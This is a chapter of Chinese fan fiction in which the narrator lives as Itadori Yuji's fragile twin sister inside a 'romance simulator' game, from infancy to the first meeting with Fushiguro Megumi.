《在高专里玩恋爱模拟器》 1. 第 1 章 【欢迎进入恋爱暴君养成】 【是否开启一周目游戏?】 【是】 【是否跳过背景介绍?】 【否】 【地图载入中-仙台虎杖家中】 【你是虎杖悠仁的胞妹or姐——?】 游戏弹窗跳出,因为是一周目,你不是很在意,随便敲了一个名字。 【幽花】 【2003年,你与虎杖悠仁出生】 屏幕忽然一花,像素方块散去,游戏背景变成了医院的天花板,你扭头看到另一个保温箱中的同系发色的哥哥攥紧小拳头,眨眼懵懂的回望你。 【玩家属性生成中—— 【玩家:虎杖幽花 【年龄:满月 【生命值:30 【状态:孱弱 【天赋:天选之人好运伴身 【术式:我身奉给(未觉醒) 【特质:绝对支配者,有偿的温情,万有引力(未觉醒) 【游戏载入中。。。】 【你出生于仙台某家医院中,出生不久后父母相继离世,从小是跟着爷爷倭助长大,虽然是同一天出生,悠仁从小被灌输‘身为哥哥要保护妹妹’,你们形影不离】 【1岁】 你和哥哥都长大了一点。 悠仁学东西很快。 同样的年纪他已经会跑会跳,像只不知疲倦的粉兔子,在屋子里横冲直撞。而你只能默默跟在他屁股后面乱爬,像一只笨拙的,怎么也追不上兔子的小乌龟。 那天下午,悠仁撞倒了储藏室的陶罐,陶罐碎了,锋利的罐盖弹起来划破你的右耳。 血珠沿着耳廓滚下来。 悠仁看到血被吓了一跳,呆在原地哇哇大哭。 你只是迟钝地坐在地板上,伸手摸了一下疼痛的耳朵。温热的,粘稠的,你对痛的理解还很模糊,只知道那里不对劲,但说不上来哪里不对。 爷爷闻讯赶来一把抱起你,又一把抱起还在哭的悠仁。 你被缝了三针。 耳背留下一道稚嫩的疤,像一道歪歪扭扭的闪电,你获得了救世主同款伤疤,只不过是缝在右耳后,你觉得超酷! 那天晚上,倭助坐在你们床边,看着你睡着了还裹着纱布的耳朵,沉默了很久。 他认为是他的责任。 【3岁】 无事发生。 或者说,没有大事发生。 你只是不太哭,摔倒了也不哭,撞到了也不哭,发高烧的时候也只是蔫蔫地缩在被窝里,不哭不闹。 倭助觉得你很乖,尤其是和悠仁相较之下,你太乖了,像夏日里躲在背阴角落安静生长的绿植。 【5岁】 虎杖悠仁已经能流利地唱儿童歌了。 他站在客厅中间,头戴小黄帽,双手比划着动作,扯着嗓子唱幼稚园新教的儿歌,唱完还有鞠躬问爷爷好不好听。 你坐在沙发另一端,紧紧挨着爷爷。 你沉默不言。 不是不想说,是不知道该说什么,不管是在幼稚园还是在家里,悠仁的声音太大了,他的喉咙里住着一个扩音器。 你试过几次,偶尔想说点什么,悠仁的声音就从耳边炸开了,还是缝过针的那只耳朵,于是你的声音自然而然被盖过,也就没人注意你张过嘴。 几次之后,你就不说了。 反正说了也像没说。 况且你所有的诉求,悠仁会先帮你说出来。 “我妹妹想吃虾饺!” “我妹妹渴了!” “我妹妹累了,我要背她回家。” 他从来不需要你开口,你甚至不需要转头看他,他莫名其妙地就知道了你的想法,你只是看了眼便利店冰柜里摆放的牛奶,下一秒他已经踮着脚把牛奶取下来了。 吸管也插好,稳稳地停在你嘴边。 你有时候会想,也许不是你的声音太小,是悠仁的存在感太强,强到你们之间根本不需要两张嘴,一张就够了。 爷爷偶尔会问你:“幽花啊,今天在幼稚园怎么样?” 你张了张嘴。 悠仁在旁边抢答:“她说很开心!今天学画画的!画的是一只很大的狗!” 爷爷笑着看向你。 你点了点头。 ——嗯。差不多就是这样。 你甚至不确定那是不是你想说的。 但没关系。 因为悠仁说的一定是对的。 他从没错过。 邻居们都夸你是个乖巧的好孩子,不吵也不闹,又白净漂亮,像陶瓷人偶,爷爷的性子在社区里出了名的冷僻,可每当提起你,他脸上总会不自觉露出柔和的表情,久而久之邻居们也懂该如何跟这个古怪的小老头打开话匣子。 虎杖家的两个孩子。 吵的那个永远挡在静的那个前面。 静的那个永远缩在吵的那个影子里。 像两株共生的双伴莲,根系拼命向上生长开出花,引来蝴蝶,占据所有阳光,夺取养分,再分享给沉默的另一株,他越茁壮强盛,你自然越安稳无忧。 你不知道这是幸运还是不幸。 但你知道一件事—— 这辈子,你大概不需要学会大声说话。 因为悠仁会替你说。 永远。 【6岁】 你愈发沉默,越来越依靠悠仁的照顾,除了哥哥外几乎没有其他朋友。 爷爷私下怀疑是当年的陶罐砸坏了你的脑袋。 他偷偷带你去医院检查。 那天你在检查室睡着了,醒来的时候倭助正坐在走廊的长椅上,手里捏着一张诊断证明,你揉了揉眼睛,想看清纸写着什么。 你的右臂却撞在长椅的扶手上。 咔嚓一声。 很小的一声,你甚至不确定那是不是骨头断裂的声音,因为你很少听见那种声音,上一次还是在超市的肉食区看售货员用斩骨刀处理牛骨时听见的。 你没有哭。 只是感觉右臂突然不好使了,像一根不属于你的棍子被歪歪扭扭地塞在袖子里,你尝试掰回去,护士尖叫着跑过来。 你低头看了眼自己的手臂,它弯向了一个不该弯曲的方向。 有点奇怪,但是很像悠仁喜欢的橡皮泥超人。 而且不疼。 倭助这才回神,你被按回床上,右臂被夹板固定,温水和输液管挂满全身,好多白袍子围着你,肩头并着肩头,到处都是消毒水的气味,人影错落间,你看到了门外的悠仁。 他站在病房门口,手里还攥着在医院门口买的棒棒糖,眼睛瞪得圆圆的,嘴巴张着发不出声音。 你冲他笑了一下。 他没有笑。 他以雷霆之势嚎啕大哭。 【诊断结果】 先天性无痛无汗症。 表现症状:无痛觉,且不出汗。无法自我调节体温,易发热,需随时注意体温。 注意事项:此类孩童常因无痛觉导致不自知的外伤、骨折、烫伤、感染,因而早夭。 【你触发了孱弱体质!】 倭助在走廊上站了很久。 他把诊断证明折了又折,塞进外套内兜,他用力抹了把脸,整理好情绪然后走进病房。 他抱起还在哭的悠仁,低声说:“别哭了,你妹妹没事。” “她只是和别的孩子不太一样。” “不一样……那是什么意思?” “她更脆弱,更需要照顾。”爷爷抹掉悠仁的眼泪,认真嘱咐,“你要更爱惜幽花。” 你脸上还挂着那副迟钝的,神游天外的专属表情,目光还有些涣散,不知是不是因为麻药劲没过去。 像个什么都不懂的傻子。 悠仁没理解这句话,而是问了一个更直接的问题:“那幽花会死吗?” 爷爷动作顿了下,他转过头看着悠仁的眼睛,那双瞳孔里有被泪水洗过的纯净,懵懂的稚气,还有超脱年龄的认真,悠仁在寻求真正的答案,不是一个哄孩子的安慰话。 “有可能。”倭助不想骗他,“如果没人照顾幽花的话。” 悠仁擦掉泪水,然后抬起头。 “那我来照顾幽花。” 他的声音还有点抖。 “我会一直照顾幽花。” “我不会让幽花死的。” 他很认真地看着悠仁的眼睛,一个字一个字地说:“你要更爱惜她,像爱惜一件珍贵的东西那样,前路漫长,往后的日子里你会难免新生疲惫,可悠仁,你要记住,你只有幽花一个亲人。” 换言之,幽花也只有你。悠仁听懂了。 那天晚上,悠仁没有跟爷爷回去,他睡在你旁边的病床上,又觉得距离太远,脱掉鞋子钻到你的病床上,他蜷在角落里,手背挨着你的脚,这样你一动弹他就能感受到,也不会错过你醒来。 第二天早上,你醒了。 你觉得右臂有点不方便。 你想告诉悠仁,你变成橡皮泥超人了,可又觉得哪里不对,你的手臂只能扭曲,没法像橡皮超人那样延长再延长。 你翻了个身打算下床,结果一个没站稳撞到了床头柜的棱角上。 你眨了眨眼,没什么感觉。 正要继续往门口走,手臂被人一把拽住了。 悠仁不知道什么时候醒了,他跪在被子堆里,两只手抓着你的右臂,脸上还挂着满满困意,可看着又很激动,一副想哭可大脑没反应过来的滞后感。 “……你想去哪?” 你说:“厕所。” 他松开手,沉默了两秒。 然后他站起来,把外套披在你肩上,把你那根还吊着夹板的右臂重新挂好。他走到你面前,弯下腰,背对着你。 “幽花,上来。” 你犹豫了下。 你可以自己走。 “快点。”他的声音闷闷的,像是在忍什么。 你趴在他背上,和往常玩累了一样背着你。 没什么不同,也没区别,就是压着手臂有点别扭,你没法抱着他的脖子了,这绷带好碍事。 他背着你走过病房回廊,走进厕所,把你放在马桶盖上,关上门站在门外。 “好了叫我,幽花。” 【特质觉醒:有偿的温情】 你打开好感度查阅:果然哥哥的好感排在第一,和爷爷的头像肩并肩。 别说,这模拟游戏还挺真实的,不管是互动体验还是npc触感,如果不是对话框一直在提示,你还真以为穿越了。 这段剧情太无聊了,你狂点加速键。 直至触发下一个剧情。 “幽花!幽花!快醒醒!” 似乎是哥哥的声音,哦对。他叫虎杖悠仁。 你湿漉漉的躺在水库边,大口吐着河水,大人们举着手电筒围过来,好几束光柱照在你身上,爷爷一把将你抱在怀里,不断地喊着你的名字,检查你有没有受伤。 有人把外套披在你身上,有人高喊“快叫救护车!”,也有人不断地追问“到底是怎么掉进去的!”被追责的对象是你的哥哥,他紧抿双唇,双手死死背在身后,视线紧盯着你。 他浑身上下也湿透了,脸上分不清是泪水还是河水,可不论大人们怎么追问,他就是不说话。 你不停地在抖,也不清楚原因,就是控制不住地在抖,你决定做些什么,周围太吵了,乱糟糟的。 “我没事。”你说,“我不想去医院。” 爷爷的手臂又紧了一点。 “必须去,幽花。” 那么,你朝悠仁伸出手:“你陪我一起去,悠仁。” 悠仁往前走了几步,屈膝蹲在你身边碰了碰手指。 他的手指烫的吓人。 太可怜了,哥哥。 一个人站在背光的影子里,怎么就没人注意到他呢。 哦,因为你吸引了所有人的目光。 因为幽花的体质,幽花的特殊性,无论悠仁去到哪里都必须带着你,一个人在家里的时候会因为各种状况受伤,幽花也察觉不到,所以眼睛必须时时刻刻注视着幽花。 幽花很少说话,大部分时间都在发呆。 同龄的孩子先是被幽花可爱的外表吸引,相处久后又会腻烦幽花沉闷的个性。 这跟随时随地揣着一个玻璃瓶有什么区别?五六岁的孩子正是打闹沉不住气的年纪,永不停歇的跑动着,谁也不信压抑天性为幽花停步。也正因此,幽花被一个人扔在了沙滩公园。 那不是悠仁第一次这么做了,因为幽花很乖。 只要盯着幽花的眼睛,确定她在听,没有神游天外,然后说出那句“要乖乖留在这里,等哥哥来接你”就好了。 通常幽花会点点头,回应她听懂的事实。 接着不管多晚幽花都会在哪等着悠仁去接。 悠仁记着和伙伴们在跑道上肆意奔跑的快乐,他的运动天赋一向很强,不再被压抑的天性得到释放,他甚至能翻越一米多的围栏,然后笑着在对面等着小伙伴们钻过来。 他喜欢跑的满身是汗,身体的每个器官都因为运动而剧烈的回馈他,跑的心脏都仿佛燃烧起来,好快乐刺激的感觉。从高处跳下去的失重感,膝盖跪在泥土的踏实感,都是他喜欢的。 但这些运动幽花都不能体验,幽花的身体不允许。 天气变温的时候,还得操心幽花会不会冷,会不会感冒,脆弱的玻璃娃娃。 所以,那些由运动带来的快乐幽花永远体会不到。 好可惜。 原来不是所有的快乐都能共享给妹妹。 悠仁苦恼的想。 “可你不觉得幽花是个负担吗——” 同伴的话钻入他耳中,让他瞬间呆在原地。 “去东京逛那次,如果不是幽花感冒了,你也就跟我们来了吧。” “对呀,还有电影院那次,也是幽花跑太慢了,我们才被大人抓住。” “其实幽花除了漂亮就没什么优点吧,为什么大人那么喜欢她呢。” “悠仁啊,你真的想和自己的妹妹绑一辈子吗,老了也要背着她走,像蟾蜍一样紧紧贴着你……” “幽花就是个漂亮的寄生虫呢。” 没人敢说话,因为悠仁怒了。 拳头打在那些孩子脸上的同时,悠仁的脑袋像炸了开似得。 怎么敢!那么说幽花! 悠仁从来不觉得照顾你是负担! 去东京旅行的计划泡汤又怎么样,和幽花蜷在沙发上看动画也很有意思! 被捉去教训的时候也全靠幽花才没被大人挨个揍! 幽花有很多优点的。 幽花总会把得到的食物的第一口分享给他,也会乖乖在浴室门口守着他出来,写完的试卷也会大大方方塞给他看!幽花就是最好的!可这些伙伴们都不知道。 还有啊,幽花睡着的时候会无意识往他的位置拱,超可爱的,这也是幽花的优点。 悠仁抬起下巴,眼神变得冷冽,拳头捏的咯吱咯吱作响,挥舞着砸到同伴脸上,鼻血淌了出来,飞溅到脸侧,显得戾气十足。这和悠仁平时笑嘻嘻的阳光样子判若两人,也没有人见过他这副凶狠的表情。 拳头打在那些孩子脸上的同时,悠仁的脑子里只有一个念头:因为他的妹妹太脆弱了,脆弱到掩盖了全部的优点,才会成为这些人宣泄不满的突破口。 他的妹妹不是寄生虫,绝不是。 而这些话也决不能传到幽花耳朵里。 幽花的记忆力很好,她的国文接近满分。他绝不想在往后的日子里听到“哥哥与寄生虫”组合成任何形状的话语。 他不能让那种事发生。 武力是最好的威胁,他要用拳头让这些孩子们知道什么话不该说,不用道歉也不需要他们来理解幽花,悠仁也不在意别人怎么看待自己。只要这些话别传到幽花耳朵里就行,新的朋友总会再有,像春虻般繁盛,只要他想,总会有,唯一不可再生的只有幽花。 所以—— “刚才那些话,要是让我知道传到了她耳朵里——”悠仁的声音不大,“我不会放过你们。” 他忽然有点想回家。 好无聊。 跑步无聊。 追逐游戏很无聊。 踩影子也很无聊。 这些游戏都在一瞬间失去了色彩。 悠仁踢着石子,慢吞吞地走在回去的路上,夕阳把他的影子拉的很长,与路灯的影子交错形成大大的X字。 他突然提速奔跑起来。 对了,幽花还在公园里等着—— 可等他跑到沙滩公园时幽花已经不见了,一排脚印朝着南边走去,悠仁一眼认出是幽花的脚印,他急忙追去,那个方向是水库,悠仁彻底慌了。 快一点。再快一点。 悠仁不知道自己摔了几次。 他止不住地发抖,摔倒了就爬起来,来不及查看擦伤,他得赶快找到妹妹。 接着在水库上方的河流,他看到了那小小的,起伏的身影,还有一道浓重的黑影。 像某种蛇类生物,看不清头和身子,触须缠绕住幽花,在幽花身体周围缓慢游移。 它想带幽花下潜。 而幽花没有挣扎,任由那具不会感受到疼痛的身体在河水中沉沉浮浮。 悠仁终于发出了声音。 “幽——” 他没来得及喊完,幽花的脸转过来了,是哪些缠绕着她的触须拧过她的下颌,把她的头对准岸边,幽花的眼睛半睁着,浸着水疲倦的眨了眨。 幽花看见他了,嘴唇动了动。 “哥哥。” 就像每天睁开眼时的第一句问好那般熟稔,都没有搞清楚状况就傻乎乎的喊哥哥。 悠仁只觉得脑中那根名为理智的线彻底断了。 - 【你觉醒了术式:即身成具 】 【古有以身饲虎的典故,觉醒术式的你以自身活体组织为代价,与诅咒达成强制交易,将诅咒制成特级以上咒具,该咒具可替代被献祭器官的功能,并赋予术式者超越常规的战斗力。术式发动后不可撤销,献祭的器官永久丧失,无法通过任何术式再生。 发动流程:你与目标诅咒直接接触。 发动条件:器官已被诅咒夺取。】 【你献祭了右眼,交易成立,一级诅咒蛇灵转换为咒具,居于你的右眼,隶属可成长性诅咒】 医院检查过后,除了失温和部分擦伤没检查出其他问题。 你裹着毛毯缩在后驾驶座,悠仁紧紧贴着你,他的手一直捉着你的手臂,十指交叠。 他一直在发抖。 【哥哥好感度+10】 你点开主控界面。 【玩家:虎杖幽花 【年龄:6岁 【状态:孱弱(先天无痛觉症) 【天赋:天选之人好运伴身 【术式:我身奉给(觉醒) 【特质:绝对支配者(未觉醒),有偿的温情(觉醒),万有引力(未觉醒) 【提醒:孱弱体质时会随机刷新病症,此属性可在玩家生成界面更改】 也就是说这一周目的你,没法修改掉体质了。 “算了。” 你想起论坛上的那些帖子都在建议一周目不必追求完美,随便玩玩熟悉机制就行,也不用太认真,反正后面还要开二周目的。 那就随便玩吧。 “幽花……幽花。”悠仁小声地呼唤你。 你听见了他在你耳边说:“你在看什么?” 在他的视角里,你对着空气突然自言自语,又胡乱伸手点空气,看着像犯神经一样,悠仁被吓得汗毛倒立。 “哦,没事。”你随口安抚了下他。 接着按下快进键。 “下次再见,哥哥。” 你对他笑了一下。 他不明白,为什么你会在这种时候对他露出这种笑。 然后说了那句让他这辈子都忘不掉的话。 “下次再见,哥哥。” 什么下次? 我们不是一直在一起吗? …… …… 世界在你眼前闪烁了一下。 【7岁】 经历之前的事情,悠仁变得很紧张,只要你离开他的视线超过两分钟,就会触发他的焦虑状态,他无时无刻不在确认你的安全 悠仁不允许你靠近任何利器,厨房也不许进去,你和他在同一所学校,他的课桌就在里后面,如果你和朋友去上厕所,他会在门口守着,有时和来往的同学打招呼,可不会走开,“这太怪了,幽花”你的同性朋友常因这个原因离你而去 你不知道悠仁每天晚上会醒来一次,赤着脚走到你房间门口,悠仁的五感很灵敏,所以只需要推开一道小小的缝隙就能听清你的呼吸声,确认你还活着的同时他才会松口气,然后回到床上继续睡,他有点过分紧张了。 你盯着这段剧情描述,感觉不太对劲。 不过想想主控的身体状况,还有个爷爷时时刻刻围在哥哥脑边灌输洗脑“要爱护珍惜妹妹”这个概念,这奇妙的精神状态貌似……也能理解?……不管了。 【9岁】 你正在和朋友说话。 确切地说是隔壁阳光开朗的班花正在朝你搭讪,她问你借作业抄,你的字体是出了名的漂亮工整,如同机器印刷般完美,而且你向来不会拒绝任何人的请求。 你吧作业递过去,她冲你笑了下,然后下意识地看了眼你身后,那时悠仁的位置,他身边站着几个同龄人,抱着篮球说说笑笑。 可悠仁的目光始终停留在你们身上,可能觉得挡在他身前的男孩有点碍眼,他站起身坐在课桌上,余光依然停在这边。 很温和,可那无法忽视的视线让人倍感沉重。 尤其是这个都会过分解读空气的年纪。 女孩的笑容僵了下。 “幽花啊……你哥哥又在看这边了。” 当你回头的时候,悠仁正在和一个路过的同学打招呼。 你和朋友说话的时候,他看着你。 你转过头的时候,他挪开视线, 断开那么四五秒后,又极其自然地扭过头看你,似乎再无声的询问你:怎么了? 你觉得没什么问题,于是耸耸肩。 目睹全程的班花表情难以言喻,像吃了翔般复杂。 “太怪了,幽花,你得劝劝他,不能这么一直跟着你。” 班花伸手比划,最后停留在你额头,轻轻点了下眉心,叹气道。 她在替你发愁。 哦,她不是第一个说这句话的人。 放学后,你目视她收拾书包出门,她把作业本还给你,随后说:“我不是不喜欢你,我只是不喜欢被你哥看着。” 放学后,你和哥哥结伴回家。 你的影子和他的影子交叠着,穿过一条条街道。 走到一半时,悠仁忽然开口:“对不起。” “什么?” “就是那个……树理今天说的那个,对不起啊……” 你随即反应过来,悠仁听见班花的话了,也可能是班花为之,她没有刻意收敛声音。 你说:“你不用道歉、” 悠仁沉默了一会。 他没有在说话,始终走在靠着车行道的那边,微微靠前一点,这样有危险的时候他可以随时护着你。 你觉得挺好的,虎杖悠仁就是你的顶级魔王护。 不是所有人都能拥有这么一位好哥哥。 他几乎事事都以你为先。 更何况,这其中也有你把他好感刷太满的原因。 第二天,你照旧往常,班花戳了戳你的肩膀,见你没反应就明白了过来,气呼呼的走了。 【12岁】 你从仙台小学毕业。 毕业那年悠仁收到了三岛树理的情书。 他忽然明白过来,突兀的笑起来。 “我离开一下,幽花。”他摸摸你的脑袋,和爷爷打了声招呼走远。 你望着他走回学校的背影,爷爷只说:“幽花别管他,快去门口站好,记得微笑,爷爷接着给你拍照。” “哦。”你依言照做。 回去的路上,只要碰到熟人爷爷就会亮出你的毕业证。 他也不多说什么,就等着那群老太太热情的搭话,顺着话题再提到你,你在这片区域永远是“别人家的孩子” 干净漂亮又聪明,还很文静,不惹是生非,每学期固定刷新在校长手中的优秀学生。 你符合大众眼中的一切审美标准,那点微不足道的弱项也不过是白璧微瑕。 你和哥哥有着同样的发色,发尾微微翘着,眼尾上挑,瞳仁足够大,嘴角下垂,和晒成小麦色的哥哥不同,你的皮肤很白,看着像只文静的猫儿,光是站在树荫下就足够让人觉得赏心悦目。 【恭喜玩家到达12岁,解锁自由探索模式】 终于!! 跳过无数文字剧情!! 你终于解锁自由模式!!! 你立马点击【上街】 【获得红豆包X1食用后体质+1 】 【获得日币X500 】 【用过的手帕X1 装备道具魅力值-1 (沾染不明污渍)】 诶?什么东西!丢掉丢掉!!! 【已丢弃用过的手帕X1】 路过【叛逆的少女】:幽花!原来是你呀!和我一起去玩吧!让我带你体验人生的快乐! 你出现在游戏厅里。 “站上去!幽花!” 她叉腰站在另一边。 这里充斥着大龄不良和小混混,你被【叛逆的少女】牵着手跑到跳舞机上,她教你怎么踩对应的箭头,你学得很快,一首曲子结束你已经理解了全部。 可是你跟不上节奏,因为【孱弱】的特质,你行动处处受限,而就在这时,你右眼的那枚咒具发力了。 Perfect! Great! Perfect! Perfect! 如同外骨骼附着机般,它游走在你的四肢关键,形成特别的纹路,配合你完成了所有动作,你踩完最后一个音符,稍微用了点力气,脚微微陷进坑里,你心下一沉。 给人设施踩坏了。 毁了,要赔钱。 你正欲逃跑,跳舞机边的不良越聚越多,有人拿出手机拍照,有人吹着欢快的口哨,叛逆少女微微瞪大双眼。 “你学过跳舞?” “没有。” “跆拳道?柔道?街舞?芭蕾?” “都没有。” 她沉默了两秒。 “幽花,老实讲,你第一次玩跳舞机吗?” “嗯。” 她看着你,眼睛里的战斗与熊熊燃烧。 “再来一首!我们比比!”她说。 【咒力+1】 你没有拒绝。 于是你接着踩那些箭头,第二首歌比较高难度,你的脚在踏板上灵巧的飞舞,第三首,第四首,难度越来越高,箭头也愈发密集,你的身体开始发热,说不清是什么感觉,大脑有点昏沉,视线也变得恍惚。可你不想停下,叛逆的少女百忙中瞟了你一眼,她忽然停在原地。 你右耳中的咒具持续发力。 左边,右边,上,下,跳,接着跳。 它说:别停下,幽花。 你的体温急剧上升,你不知道,身体也不会做出调节,你只是觉得有点晕,轻飘飘的,像是踩着云朵。 【咒力+1】 那些不良看着你动作,他们觉得你好酷。 叛逆少女看出了你的异常,她强行把你抱下跳舞机,因为你看上去快要晕倒了,然后她给你脸上倒了瓶水,凉意刺激的你稍微缓过来。 你靠在她的肩头,任由水珠滚进衣襟里。 她冲你比了个大拇指,露齿笑道:“是不是很开心呀!幽花!” “我早就看出来你是个跳舞的好苗子!记不记得仙台小学的运动会,你的腰肢那么柔韧,可以弯到那个程度呢……”也许她觉得你跳舞确实有天赋,絮絮叨叨的讲了好多。 你冲她笑了一下。 【咒力+1】 她愣了下,接着郑重介绍道:“幽花,我是西宫桃。你不会忘记我了吧?” “你入学的时候,就是我带你和悠仁领的书啊、” 游戏厅的灯光还在闪,拍照的人也散了。 她戳了下你的脸颊:“幽花,我现在在京都上学,有空来找我玩哦。对了,一定要打电话给我。” “我估计很少会回来了。” “为什么呀?” “嗯……因为我要去当拯救世界的魔法少女啦!等初中毕业后,就会领到属于自己的魔术棒!” “噢噢。” 你全当是少女的中二病发作。 你热的吓人,脸也滚烫,烧的脑袋晕晕乎乎的。 【体质-1】 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他下意识摸了摸你的脑袋,烫的吓人。 原本还算温和的表情阴沉下来,眼眸的色调也浓郁了些,瞥了眼一旁的西宫桃,他记得这个混血学姐,常出没于幽花身边,不知道想干什么。 “西宫学姐。” 悠仁用敬称隔开虎杖兄妹与西宫的关系,不是很亲密的口吻,比普通朋友还远了些,西宫愣了一下。 好歹我也是你们的引教前辈吧!西宫桃在心中呐喊。 “引教前辈”是仙台小学的传统,高年级的学长学姐会负责新一届的学弟校园内的生活和日常指导,这段时间在校内会经常一起活动用餐,一些运动课程也会共同进行,直到第二年才结束这段引教关系。而西宫正是负责虎杖兄妹俩一年级的引教任务。 “请不要随意带我妹妹出来玩,她的身体很弱,经不起折腾,更何况是这种混乱场所。”悠仁眼皮一抬,“不安全。” “我只是……”西宫桃下意识想解释几句,可忽然反应过来,这不就和幽花以前交的那些朋友一个下场吗?被自顾自地归为“不安分”的那一类,然后被疏远。 “她不擅长照顾自己。” 西宫桃鼓了鼓腮帮,哼哧一声:“我知道,对不起!” 不要再解释了!这个妹控根本听不进去的! “快点带她回去吧!下次我会掌握好尺度的!” 悠仁表情微变,旋即又恢复了往常的模样。 “看来你能明白幽花的情况呢,那多谢啦。” 悠仁背着你离开。 你的发丝垂在他耳后,随着夜风乱晃,有些痒痒的,他侧过脑袋。 “因为幽花挑选朋友的眼光很差,我才不得不多看顾些。” 你嗯了声,睡得有些迷糊。 直到和西宫桃分开你才明白那个【咒力+1】是西宫桃的NPC特性,可npc无法查看属性栏,只有等好感刷到一定程度后才会对主控产生加成。 “不过西宫学姐还可以。”他顿了顿,似乎在斟酌用词,“试着和她做朋友吧,至少她能观察到幽花不对劲时的表现,比之前那些只注意到幽花外表的朋友要强很多。” 悠仁走上台阶,用膝盖顶开门,侧身进去,再用脚把门带上。 玄关的灯也亮着。 他把你放到沙发上,然后转过身去找你的手机,在茶几底下翻出你的手机,因为你总是乱扔,也没什么需要联络的对象,这部手机一直是他在保存。他在新增联系人里添加了西宫桃的联系方式,然后把手机交给你。 他觉得你可能会需要。 爷爷说得对,人总是需要社交,他有很多朋友,尽管那些朋友并不真诚,可他仍然需要进行社交来维持正常的人际关系,幽花也同样需要,他能帮幽花筛选合适的人,走进幽花的世界,也可以相应控制人数,一切都是为了幽花能健康安稳的长大,为此,他竭尽所能。 【获得西宫桃联系方式】 【解锁手机界面】 “幽花跑出去玩了?” 悠仁从二楼下来就听见爷爷再问。 爷爷屋子的灯亮着,他就站在门边等着悠仁。 “第一次抛下我出去,居然连招呼都没打。”悠仁看起来有些苦恼。 爷爷罕见的笑了下:“迟早的事情,幽花总算长大了,不再事事依靠你,这是对的。” “不行,她还小呢。”悠仁却说,“她跑不快,也走不远,反应慢吞吞的,别人说什么都会信,往她书包里塞得垃圾也会原封不动的带回来。” “悠仁”倭助咳嗽几声,这些年他的身体愈发差劲了。 “幽花不会一直留在仙台,她很聪明,那孱弱的身体从来都困不住她的脚步,你也要拼命追赶她,好好长大,别被她远远抛下。” “我知道。”悠仁想了想,说道,“我会一直照顾她,直到幽花不需要我为止,安心吧,爷爷。” “况且她甩不掉我,她走的多快,我就走多快,如果幽花跑起来,我就跑的比她更快。”悠仁笑了起来,“我比幽花更强壮,也更厉害。” 爷爷没有笑,接着说:“生老病死都是自然规律,总有一天,会像我那不中用的儿子一样,离你们而去。” 他又咳嗽几声,走回屋内,“到时别太难过,就当我换了个世界生活,在那个世界里我和仁,香织团聚了,仅此而已。” 爷爷的屋门闭住,灯光随之暗下。 悠仁抬手搓了下鼻头,本能的,他对爷爷这番话不舒服,尽管爷爷说的再怎么平淡自然,他依然感到恐惧。 悠仁恐惧的是别离。 自小他就明白一个道理,他并非无所不能。 再强大的体魄,聪明的头脑也无法让妹妹的病体好转。 这种感觉好难受,像掐着秒表在数亲人还能留在身边的时间。 更何况这个世界不只人类和百科纲目上的物种,还有那些看不见的怪物。 危险无处不在。 【13岁】 你又长大了一点。 仙台市立中学的入学式,樱花正开得灿烂。 你穿着崭新的校服,站在队伍的最边缘。 悠仁在你身后的队伍里,隔了三排距离。 你的扣子胡乱地扣着,因为那该死的自理点数为1,不管你怎么系都会弄得乱七八糟,你正在努力刷高自理点数,该死的,居然奇妙的和现实贴近了。不洗衣服的人永远不会使用烘干机,不需要动手换床单的人也分不清长宽,你还记得第一次炒菜时,妈妈赞赏的眼神,像在看痴呆多年的唐氏儿童终于会算1+1等于2的惊喜。 你对悠仁说:“在学校里,不要管我。” 所以那扣子就胡乱地扭着,领花从你的左边飘到了右边,然后又滑到肩头,你眼也不眨地迅速归位。 ——好的。你还知道把带子拉回去。你可以的。 你是哥哥的好妹妹,你会算数……不是,你会系领结了。 悠仁移开视线。 入学结束后,你和哥哥分到不同的班级。 他从走廊经过的时候看了几眼,只是为了确认你有没有被人欺负,确认完毕他就回到自己的教室,悠仁不需要主动和谁示好,他天生是个凝聚人心的发光体,走到哪都有同龄人簇拥,打招呼,他回以同样的笑容。 几场篮球下来就互相熟悉了,他会刻意和你班级的男孩结交,有意无意透露你是他的妹妹,几个男孩心照不宣地成为他的眼线,这种事情他做起来相当老练。 开学第一周,你认识了两个同学。 一个是坐在你前面的女生,她找你“借橡皮”。 这只是日本初中生之间打开话匣的小招数,再互相聊几句喜欢的爱豆,下课后结伴去厕所,很快就熟络起来。 另一个是坐在里后边的女生,午休的时候她拍了拍你的肩膀:“幽花,你的头发好长啊,你编头发好厉害。” 她想让你编一个相同的发型,你拒绝了。 如果是剧情跳过模式,你不会拒绝任何人的要求,可能会编出一个简陋的麻花辫送以她。可现在是你主导的自由模式,你当然可以拒绝! 你偶尔和西宫互相发些消息,她会给你寄很多漂亮的玩偶和化妆品。 她觉得这个年纪的女孩都会无师自通如何打扮,你用虎杖的脸试了几次。 随后封存所有化妆品,除了那支好驾驭的唇釉。 悠仁观察了一周。 他没有干涉你的交友过程,你在一个他能掌控的安全范围成长。 【14岁】 暑假,你和西宫桃又见面。 不停地贴贴,耳边【咒力+1】【咒力+1】【咒力+1】【咒力+1】的系统声音不断回响。 你们又去玩了跳舞机,晚上等着悠仁来接你。 西宫给你买了盐水,靠在你肩头笑着说。 “幽花,你跳起来真好看。” “嗯。” “你知道吗,你跳舞的时候好像在飞。” 你不明所以:“啊?” “就像轻盈的小鸟,没有重量,普通人踩在跳舞机上的动作很沉重,但幽花特别灵巧,幽花应该成为舞蹈家的,你有舞蹈天赋。” 你看了眼自己的面板,觉得是魅力值在作怪。 应该是西宫觉得舞蹈家是世界上最优秀的人,才会这么形容你。 哦对了,【咒力+1】 - 【15岁】 爷爷去世。 那位最疼爱你的老爷爷埋入墓园中,你抱着他的遗像没什么感受。 因为你一直在跳过剧情。 你对悠仁和倭助的印象停留在:可靠的哥哥,慈祥的爷爷上。 是嘎啦噶木的经典npc形象。 你打了个哈欠。 葬礼结束,六个月后的某天夜里,你哥哥被打成一滩烂泥送回家,此时你正在和西宫聊天,赶忙挂断电话跑下楼。 门打开的一瞬间,搀扶着你哥哥的男孩愣住。 男孩耳畔多了抹绯色。 悠仁的头垂着,脸和血糊成一团,校服也破破烂烂的,几乎是照死里打,不过生命值很健康,你松了口气。 黑发男孩站在玄关处,有些无措,双手插着口袋看你忙前忙后,你没捉稳碘伏的瓶子,整瓶泼在悠仁脸上。 是自理能力20在作祟,你脸色阴沉不定。 接着是绷带,怎么也绑不紧。 悠仁拍了拍你的手背,轻声说:“没事,哥哥睡一觉就好了、” “你是他妹妹?”你没有应声。 因为悠仁浑身都是这男孩的咒力残秽,你好生气。 你的魔王护明明在仙台所向披靡,怎么突然被人打成废铁了! “……我是伏黑惠。”男孩做着自我介绍。 